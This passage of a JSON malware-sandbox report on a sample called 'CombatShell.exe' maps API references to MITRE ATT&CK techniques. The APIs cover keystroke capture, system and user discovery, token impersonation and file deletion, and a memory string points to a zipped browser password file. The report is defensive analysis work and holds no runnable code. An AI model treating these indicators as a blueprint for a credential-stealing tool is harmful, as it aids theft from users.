\"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"MapVirtualKeyExW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"MapVirtualKeyExW\" (Indicator: \"MapVirtualKey\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"61141276908,4752,104,,GetKeyState,user32.dll,\"01:15:02.218\",RX=0,PX=0\" (Indicator: \"GetKeyState\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"61066059310,4752,104,,GetKeyState,user32.dll,\"01:15:02.187\",RX=0,PX=0\" (Indicator: \"GetKeyState\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"104768489246,4752,104,,GetKeyState,user32.dll,\"01:15:20.390\",RX=0,PX=0\" (Indicator: \"GetKeyState\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetAsyncKeyState\" (Indicator: \"GetAsyncKeyState\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"MapVirtualKeyExW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1056.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1056/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-478","type":2,"relevance":1,"name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; File: \"CombatShell.exe\")\n Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; File: \"CombatShell.exe\")","Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-122","type":2,"relevance":1,"name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-164","type":2,"relevance":1,"name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"CombatShell.exe\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"CombatShell.exe\")","Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-107","type":2,"relevance":1,"name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"CombatShell.exe\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"CombatShell.exe\")","Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-224","type":2,"relevance":1,"name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"CombatShell.exe\")\n Found reference to API \"getsockname\" (Indicator: \"getsockname\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"CombatShell.exe\")","Found reference to API \"getsockname\" (Indicator: \"getsockname\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1016","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1016","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-131","type":2,"relevance":1,"name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"$48","description_v2":["Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"CombatShell.exe\")","Found reference to API \"66191317299,4752,111,,GetSystemMetrics,user32.dll,\"01:15:04.312\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found reference to API \"66191248867,4752,111,,GetSystemMetrics,user32.dll,\"01:15:04.312\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found reference to API \"66191371993,4752,111,,GetSystemMetrics,user32.dll,\"01:15:04.312\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")","Found reference to API \"104892246234,4752,111,,GetSystemMetrics,user32.dll,\"01:15:20.437\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found reference to API \"104780769619,4752,111,,GetSystemMetrics,user32.dll,\"01:15:20.390\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found reference to API \"104954715654,4752,111,,GetSystemMetrics,user32.dll,\"01:15:20.468\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"66191317299,4752,111,,GetSystemMetrics,user32.dll,\"01:15:04.312\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"66191248867,4752,111,,GetSystemMetrics,user32.dll,\"01:15:04.312\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"66191371993,4752,111,,GetSystemMetrics,user32.dll,\"01:15:04.312\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"104892246234,4752,111,,GetSystemMetrics,user32.dll,\"01:15:20.437\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"104780769619,4752,111,,GetSystemMetrics,user32.dll,\"01:15:20.390\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"104954715654,4752,111,,GetSystemMetrics,user32.dll,\"01:15:20.468\",RX=0,PX=0\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-205","type":2,"relevance":1,"name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1497.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1497/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-121","type":2,"relevance":1,"name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"NtOpenProcessToken\" (Indicator: \"NtOpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"GetUserNameExW\" (Indicator: \"GetUserName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"NtOpenProcessToken\" (Indicator: \"NtOpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"GetUserNameExW\" (Indicator: \"GetUserName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtOpenProcessToken\" (Indicator: \"NtOpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"GetUserNameExW\" (Indicator: \"GetUserName\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1033","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1033","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-475","type":2,"relevance":1,"name":"Contains string like password/secret","description":"Found string \"browser/EdgeDefault/passwords.txtPK\" (Indicator: \"password\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","description_v2":["Found string \"browser/EdgeDefault/passwords.txtPK\" (Indicator: \"password\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"Found string \"browser/EdgeDefault/passwords.txtPK\" (Indicator: \"password\"; Source: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1555","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1555","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"registry-106","type":3,"relevance":3,"name":"Reads system-defined device setup information from registry","description":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","description_v2":["\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")"}],"origin":"Registry Access","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-729","type":2,"relevance":1,"name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644-00000C2B-3479440577\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644-00000C2B-3480047477\")\n Found string \"NtOpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644-00000C2B-3480159991\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found string \"NtOpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644-00000C2B-3479440577\")","Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644-00000C2B-3480047477\")","Found string \"NtOpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644-00000C2B-3480159991\")","Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found string \"NtOpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644-00000C2B-3479440577\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644-00000C2B-3480047477\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"NtOpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644-00000C2B-3480159991\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"NtOpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1489","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1489","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-474","type":2,"relevance":1,"name":"Contains ability to access device drivers","description":"$49","description_v2":["Found string \"\\Device\\Afd\\Mio\" (Indicator: \"\\Device\\\"; File: \"CombatShell.exe\")","Found string \"\\Device\\HarddiskVolume3\\Windows\\System32\\conhost.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00005644-00000BC0-3481439369\")","Found string \"DriverData=C:\\Windows\\System32\\Drivers\\DriverData\" (Indicator: \"\\drivers\\\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000000.286803.221E0000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.221E0000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.221E0000.00000004.mdmp\")","Found string \"DriverData=C:\\Windows\\System32\\Drivers\\DriverData\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000000.286803.221E0000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.221E0000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.221E0000.00000004.mdmp\")","Found string \"\\Device\\HarddiskVolume3\\CombatShell.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp\")","Found string \"\\System32\\Drivers\\DriverData\" (Indicator: \"\\drivers\\\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp\")","Found string \"\\System32\\Drivers\\DriverData\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"Found string \"\\Device\\Afd\\Mio\" (Indicator: \"\\Device\\\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"\\Device\\HarddiskVolume3\\Windows\\System32\\conhost.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00005644-00000BC0-3481439369\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"DriverData=%WINDIR%\\System32\\Drivers\\DriverData\" (Indicator: \"\\drivers\\\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000000.286803.221E0000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.221E0000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.221E0000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"DriverData=C:\\Windows\\System32\\Drivers\\DriverData\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000000.286803.221E0000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.221E0000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.221E0000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"\\Device\\HarddiskVolume3\\CombatShell.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"\\System32\\Drivers\\DriverData\" (Indicator: \"\\drivers\\\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"\\System32\\Drivers\\DriverData\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1543.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1543/003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-168","type":2,"relevance":1,"name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","description_v2":["Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1134.002","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1134/002","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"string-308","type":2,"relevance":1,"name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"CombatShell.exe\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"CombatShell.exe\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","description_v2":["Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"CombatShell.exe\")","Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"CombatShell.exe\")","Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 